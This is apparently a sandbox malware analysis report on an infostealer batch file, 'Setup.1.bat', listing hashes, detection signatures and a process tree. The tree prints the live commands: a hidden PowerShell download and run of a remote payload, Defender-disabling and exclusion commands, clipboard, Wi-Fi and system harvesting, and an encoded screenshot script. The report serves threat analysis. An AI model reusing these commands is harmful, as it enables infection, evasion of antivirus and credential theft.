Analysis
-
max time kernel
38s -
max time network
40s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
12-11-2024 03:27
Static task
static1
Behavioral task
behavioral1
Sample
Setup.1.bat
Resource
win11-20241007-en
General
-
Target
Setup.1.bat
-
Size
1024B
-
MD5
f4d38c1636dc0669e554f0d9f8859d35
-
SHA1
7fb5785c84ed4dd7100977ddba94359441fa5a81
-
SHA256
57dc2daf066b8eb1502b7f9bea0a042e8dc9410fe4b14f523fcdbc291fad5f52
-
SHA512
e1a009e8865a4d6d227c147ae84fa6721f45d10c058651cf4dc47f6343d4d838d85ae0c68e9d8d6e3d0ee4abc2626d8f68198bfb2d3fb03b7e2aa30e72b2a392
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid Process 2 1796 powershell.exe 3 1796 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid Process 4048 powershell.exe 4708 powershell.exe 3392 powershell.exe 1796 powershell.exe 968 powershell.exe 1344 powershell.exe 4920 powershell.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
-
Executes dropped EXE 3 IoCs
Processes:
Built.exeBuilt.exerar.exepid Process 132 Built.exe 3676 Built.exe 3352 rar.exe -
Loads dropped DLL 17 IoCs
Processes:
Built.exepid Process 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe 3676 Built.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
Processes:
flow ioc 4 discord.com 7 discord.com 1 raw.githubusercontent.com 3 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
Processes:
tasklist.exetasklist.exetasklist.exepid Process 2564 tasklist.exe 5028 tasklist.exe 2880 tasklist.exe -
Processes:
resource yara_rule behavioral1/files/0x001900000002abd2-63.dat upx behavioral1/memory/3676-67-0x00007FFF04F70000-0x00007FFF05632000-memory.dmp upx behavioral1/files/0x001d00000002aaa5-69.dat upx behavioral1/memory/3676-90-0x00007FFF201A0000-0x00007FFF201AF000-memory.dmp upx behavioral1/memory/3676-89-0x00007FFF1ACD0000-0x00007FFF1ACF5000-memory.dmp upx behavioral1/files/0x001900000002abc8-88.dat upx behavioral1/files/0x001c00000002abc7-87.dat upx behavioral1/files/0x001900000002abc6-86.dat upx behavioral1/files/0x001900000002abc3-85.dat upx behavioral1/files/0x001900000002abc2-84.dat upx behavioral1/files/0x001c00000002abbc-83.dat upx behavioral1/files/0x001c00000002ab46-82.dat upx behavioral1/files/0x001a00000002aaa4-81.dat upx behavioral1/files/0x001c00000002abd9-80.dat upx behavioral1/files/0x001900000002abd8-79.dat upx behavioral1/files/0x001900000002abd5-78.dat upx behavioral1/files/0x001900000002abcf-75.dat upx behavioral1/files/0x001c00000002abcd-74.dat upx behavioral1/files/0x001900000002abce-72.dat upx behavioral1/memory/3676-96-0x00007FFF19B70000-0x00007FFF19B9C000-memory.dmp upx behavioral1/memory/3676-102-0x00007FFF166A0000-0x00007FFF1681F000-memory.dmp upx behavioral1/memory/3676-100-0x00007FFF17070000-0x00007FFF17094000-memory.dmp upx behavioral1/memory/3676-98-0x00007FFF1C1E0000-0x00007FFF1C1F9000-memory.dmp upx behavioral1/memory/3676-104-0x00007FFF19F40000-0x00007FFF19F59000-memory.dmp upx behavioral1/memory/3676-112-0x00007FFF17030000-0x00007FFF17063000-memory.dmp upx behavioral1/memory/3676-113-0x00007FFF04A30000-0x00007FFF04F63000-memory.dmp upx behavioral1/memory/3676-116-0x00007FFF1ACD0000-0x00007FFF1ACF5000-memory.dmp upx behavioral1/memory/3676-126-0x00007FFF15FE0000-0x00007FFF160FA000-memory.dmp upx behavioral1/memory/3676-125-0x00007FFF19B70000-0x00007FFF19B9C000-memory.dmp upx behavioral1/memory/3676-120-0x00007FFF17000000-0x00007FFF1700D000-memory.dmp upx behavioral1/memory/3676-119-0x00007FFF17010000-0x00007FFF17024000-memory.dmp upx behavioral1/memory/3676-115-0x00007FFF165D0000-0x00007FFF1669E000-memory.dmp upx behavioral1/memory/3676-111-0x00007FFF04F70000-0x00007FFF05632000-memory.dmp upx behavioral1/memory/3676-106-0x00007FFF19B60000-0x00007FFF19B6D000-memory.dmp upx behavioral1/memory/3676-236-0x00007FFF17070000-0x00007FFF17094000-memory.dmp upx behavioral1/memory/3676-259-0x00007FFF166A0000-0x00007FFF1681F000-memory.dmp upx behavioral1/memory/3676-356-0x00007FFF17030000-0x00007FFF17063000-memory.dmp upx behavioral1/memory/3676-357-0x00007FFF04A30000-0x00007FFF04F63000-memory.dmp upx behavioral1/memory/3676-360-0x00007FFF165D0000-0x00007FFF1669E000-memory.dmp upx behavioral1/memory/3676-376-0x00007FFF166A0000-0x00007FFF1681F000-memory.dmp upx behavioral1/memory/3676-370-0x00007FFF04F70000-0x00007FFF05632000-memory.dmp upx behavioral1/memory/3676-371-0x00007FFF1ACD0000-0x00007FFF1ACF5000-memory.dmp upx behavioral1/memory/3676-394-0x00007FFF04F70000-0x00007FFF05632000-memory.dmp upx behavioral1/memory/3676-418-0x00007FFF17030000-0x00007FFF17063000-memory.dmp upx behavioral1/memory/3676-410-0x00007FFF1ACD0000-0x00007FFF1ACF5000-memory.dmp upx behavioral1/memory/3676-417-0x00007FFF19B60000-0x00007FFF19B6D000-memory.dmp upx behavioral1/memory/3676-416-0x00007FFF19F40000-0x00007FFF19F59000-memory.dmp upx behavioral1/memory/3676-415-0x00007FFF166A0000-0x00007FFF1681F000-memory.dmp upx behavioral1/memory/3676-414-0x00007FFF17070000-0x00007FFF17094000-memory.dmp upx behavioral1/memory/3676-413-0x00007FFF1C1E0000-0x00007FFF1C1F9000-memory.dmp upx behavioral1/memory/3676-412-0x00007FFF19B70000-0x00007FFF19B9C000-memory.dmp upx behavioral1/memory/3676-411-0x00007FFF201A0000-0x00007FFF201AF000-memory.dmp upx behavioral1/memory/3676-409-0x00007FFF165D0000-0x00007FFF1669E000-memory.dmp upx behavioral1/memory/3676-405-0x00007FFF04A30000-0x00007FFF04F63000-memory.dmp upx behavioral1/memory/3676-408-0x00007FFF15FE0000-0x00007FFF160FA000-memory.dmp upx behavioral1/memory/3676-407-0x00007FFF17000000-0x00007FFF1700D000-memory.dmp upx behavioral1/memory/3676-406-0x00007FFF17010000-0x00007FFF17024000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
Processes:
netsh.exedescription ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Suspicious behavior: EnumeratesProcesses 27 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid Process 4048 powershell.exe 4048 powershell.exe 1796 powershell.exe 1796 powershell.exe 3392 powershell.exe 968 powershell.exe 4708 powershell.exe 968 powershell.exe 968 powershell.exe 3392 powershell.exe 3392 powershell.exe 4708 powershell.exe 4708 powershell.exe 1596 powershell.exe 1596 powershell.exe 5000 powershell.exe 5000 powershell.exe 5000 powershell.exe 1596 powershell.exe 1344 powershell.exe 1344 powershell.exe 4512 powershell.exe 4512 powershell.exe 4920 powershell.exe 4920 powershell.exe 1660 powershell.exe 1660 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exetasklist.exetasklist.exeWMIC.exetasklist.exepowershell.exepowershell.exepowershell.exepowershell.exeWMIC.exedescription pid Process Token: SeDebugPrivilege 4048 powershell.exe Token: SeDebugPrivilege 1796 powershell.exe Token: SeDebugPrivilege 3392 powershell.exe Token: SeDebugPrivilege 968 powershell.exe Token: SeDebugPrivilege 4708 powershell.exe Token: SeDebugPrivilege 2564 tasklist.exe Token: SeDebugPrivilege 5028 tasklist.exe Token: SeIncreaseQuotaPrivilege 2640 WMIC.exe Token: SeSecurityPrivilege 2640 WMIC.exe Token: SeTakeOwnershipPrivilege 2640 WMIC.exe Token: SeLoadDriverPrivilege 2640 WMIC.exe Token: SeSystemProfilePrivilege 2640 WMIC.exe Token: SeSystemtimePrivilege 2640 WMIC.exe Token: SeProfSingleProcessPrivilege 2640 WMIC.exe Token: SeIncBasePriorityPrivilege 2640 WMIC.exe Token: SeCreatePagefilePrivilege 2640 WMIC.exe Token: SeBackupPrivilege 2640 WMIC.exe Token: SeRestorePrivilege 2640 WMIC.exe Token: SeShutdownPrivilege 2640 WMIC.exe Token: SeDebugPrivilege 2640 WMIC.exe Token: SeSystemEnvironmentPrivilege 2640 WMIC.exe Token: SeRemoteShutdownPrivilege 2640 WMIC.exe Token: SeUndockPrivilege 2640 WMIC.exe Token: SeManageVolumePrivilege 2640 WMIC.exe Token: 33 2640 WMIC.exe Token: 34 2640 WMIC.exe Token: 35 2640 WMIC.exe Token: 36 2640 WMIC.exe Token: SeDebugPrivilege 2880 tasklist.exe Token: SeIncreaseQuotaPrivilege 2640 WMIC.exe Token: SeSecurityPrivilege 2640 WMIC.exe Token: SeTakeOwnershipPrivilege 2640 WMIC.exe Token: SeLoadDriverPrivilege 2640 WMIC.exe Token: SeSystemProfilePrivilege 2640 WMIC.exe Token: SeSystemtimePrivilege 2640 WMIC.exe Token: SeProfSingleProcessPrivilege 2640 WMIC.exe Token: SeIncBasePriorityPrivilege 2640 WMIC.exe Token: SeCreatePagefilePrivilege 2640 WMIC.exe Token: SeBackupPrivilege 2640 WMIC.exe Token: SeRestorePrivilege 2640 WMIC.exe Token: SeShutdownPrivilege 2640 WMIC.exe Token: SeDebugPrivilege 2640 WMIC.exe Token: SeSystemEnvironmentPrivilege 2640 WMIC.exe Token: SeRemoteShutdownPrivilege 2640 WMIC.exe Token: SeUndockPrivilege 2640 WMIC.exe Token: SeManageVolumePrivilege 2640 WMIC.exe Token: 33 2640 WMIC.exe Token: 34 2640 WMIC.exe Token: 35 2640 WMIC.exe Token: 36 2640 WMIC.exe Token: SeDebugPrivilege 1596 powershell.exe Token: SeDebugPrivilege 5000 powershell.exe Token: SeDebugPrivilege 1344 powershell.exe Token: SeDebugPrivilege 4512 powershell.exe Token: SeIncreaseQuotaPrivilege 2896 WMIC.exe Token: SeSecurityPrivilege 2896 WMIC.exe Token: SeTakeOwnershipPrivilege 2896 WMIC.exe Token: SeLoadDriverPrivilege 2896 WMIC.exe Token: SeSystemProfilePrivilege 2896 WMIC.exe Token: SeSystemtimePrivilege 2896 WMIC.exe Token: SeProfSingleProcessPrivilege 2896 WMIC.exe Token: SeIncBasePriorityPrivilege 2896 WMIC.exe Token: SeCreatePagefilePrivilege 2896 WMIC.exe Token: SeBackupPrivilege 2896 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exeBuilt.exeBuilt.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid Process procid_target PID 4056 wrote to memory of 4048 4056 cmd.exe 81 PID 4056 wrote to memory of 4048 4056 cmd.exe 81 PID 4056 wrote to memory of 992 4056 cmd.exe 82 PID 4056 wrote to memory of 992 4056 cmd.exe 82 PID 4056 wrote to memory of 1252 4056 cmd.exe 83 PID 4056 wrote to memory of 1252 4056 cmd.exe 83 PID 4056 wrote to memory of 1796 4056 cmd.exe 84 PID 4056 wrote to memory of 1796 4056 cmd.exe 84 PID 4056 wrote to memory of 5004 4056 cmd.exe 85 PID 4056 wrote to memory of 5004 4056 cmd.exe 85 PID 4056 wrote to memory of 132 4056 cmd.exe 86 PID 4056 wrote to memory of 132 4056 cmd.exe 86 PID 132 wrote to memory of 3676 132 Built.exe 87 PID 132 wrote to memory of 3676 132 Built.exe 87 PID 3676 wrote to memory of 3128 3676 Built.exe 88 PID 3676 wrote to memory of 3128 3676 Built.exe 88 PID 3676 wrote to memory of 1736 3676 Built.exe 89 PID 3676 wrote to memory of 1736 3676 Built.exe 89 PID 3676 wrote to memory of 3788 3676 Built.exe 92 PID 3676 wrote to memory of 3788 3676 Built.exe 92 PID 1736 wrote to memory of 968 1736 cmd.exe 94 PID 1736 wrote to memory of 968 1736 cmd.exe 94 PID 3128 wrote to memory of 3392 3128 cmd.exe 95 PID 3128 wrote to memory of 3392 3128 cmd.exe 95 PID 3788 wrote to memory of 4708 3788 cmd.exe 96 PID 3788 wrote to memory of 4708 3788 cmd.exe 96 PID 3676 wrote to memory of 2520 3676 Built.exe 97 PID 3676 wrote to memory of 2520 3676 Built.exe 97 PID 3676 wrote to memory of 2076 3676 Built.exe 98 PID 3676 wrote to memory of 2076 3676 Built.exe 98 PID 2520 wrote to memory of 2564 2520 cmd.exe 101 PID 2520 wrote to memory of 2564 2520 cmd.exe 101 PID 3676 wrote to memory of 3656 3676 Built.exe 102 PID 3676 wrote to memory of 3656 3676 Built.exe 102 PID 3676 wrote to memory of 3012 3676 Built.exe 104 PID 3676 wrote to memory of 3012 3676 Built.exe 104 PID 3676 wrote to memory of 3208 3676 Built.exe 103 PID 3676 wrote to memory of 3208 3676 Built.exe 103 PID 3676 wrote to memory of 2052 3676 Built.exe 144 PID 3676 wrote to memory of 2052 3676 Built.exe 144 PID 2076 wrote to memory of 5028 2076 cmd.exe 105 PID 2076 wrote to memory of 5028 2076 cmd.exe 105 PID 3676 wrote to memory of 308 3676 Built.exe 110 PID 3676 wrote to memory of 308 3676 Built.exe 110 PID 3676 wrote to memory of 816 3676 Built.exe 112 PID 3676 wrote to memory of 816 3676 Built.exe 112 PID 3676 wrote to memory of 1824 3676 Built.exe 115 PID 3676 wrote to memory of 1824 3676 Built.exe 115 PID 816 wrote to memory of 1752 816 cmd.exe 118 PID 816 wrote to memory of 1752 816 cmd.exe 118 PID 3656 wrote to memory of 2640 3656 cmd.exe 119 PID 3656 wrote to memory of 2640 3656 cmd.exe 119 PID 2052 wrote to memory of 2172 2052 cmd.exe 120 PID 2052 wrote to memory of 2172 2052 cmd.exe 120 PID 308 wrote to memory of 4864 308 cmd.exe 123 PID 308 wrote to memory of 4864 308 cmd.exe 123 PID 3208 wrote to memory of 1596 3208 cmd.exe 121 PID 3208 wrote to memory of 1596 3208 cmd.exe 121 PID 3012 wrote to memory of 2880 3012 cmd.exe 122 PID 3012 wrote to memory of 2880 3012 cmd.exe 122 PID 1824 wrote to memory of 5000 1824 cmd.exe 124 PID 1824 wrote to memory of 5000 1824 cmd.exe 124 PID 3676 wrote to memory of 1404 3676 Built.exe 125 PID 3676 wrote to memory of 1404 3676 Built.exe 125 -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup.1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -window hidden -command ""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4048
-
-
C:\Windows\system32\cacls.exe"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"2⤵PID:992
-
-
C:\Windows\system32\attrib.exeattrib +h "Anon" /s /d2⤵
- Views/modifies file attributes
PID:1252
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -Command "Invoke-Webrequest 'https://github.com/Mohmmmasdasd/HI/raw/refs/heads/main/Built.rar' -OutFile 1.zip"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1796
-
-
C:\Windows\system32\tar.exetar -xf 1.zip2⤵PID:5004
-
-
C:\Users\Admin\AppData\Local\Anon\Built.exeC:\Users\Admin\AppData\Local\Anon\Built.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:132 -
C:\Users\Admin\AppData\Local\Anon\Built.exeC:\Users\Admin\AppData\Local\Anon\Built.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3676 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Anon\Built.exe'"4⤵
- Suspicious use of WriteProcessMemory
PID:3128 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Anon\Built.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"4⤵
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4708
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2564
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"4⤵
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"4⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard5⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1596
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2880
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\system32\tree.comtree /A /F5⤵PID:2172
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:308 -
C:\Windows\system32\netsh.exenetsh wlan show profile5⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4864
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"4⤵
- Suspicious use of WriteProcessMemory
PID:816 -
C:\Windows\system32\systeminfo.exesysteminfo5⤵
- Gathers system information
PID:1752
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="4⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
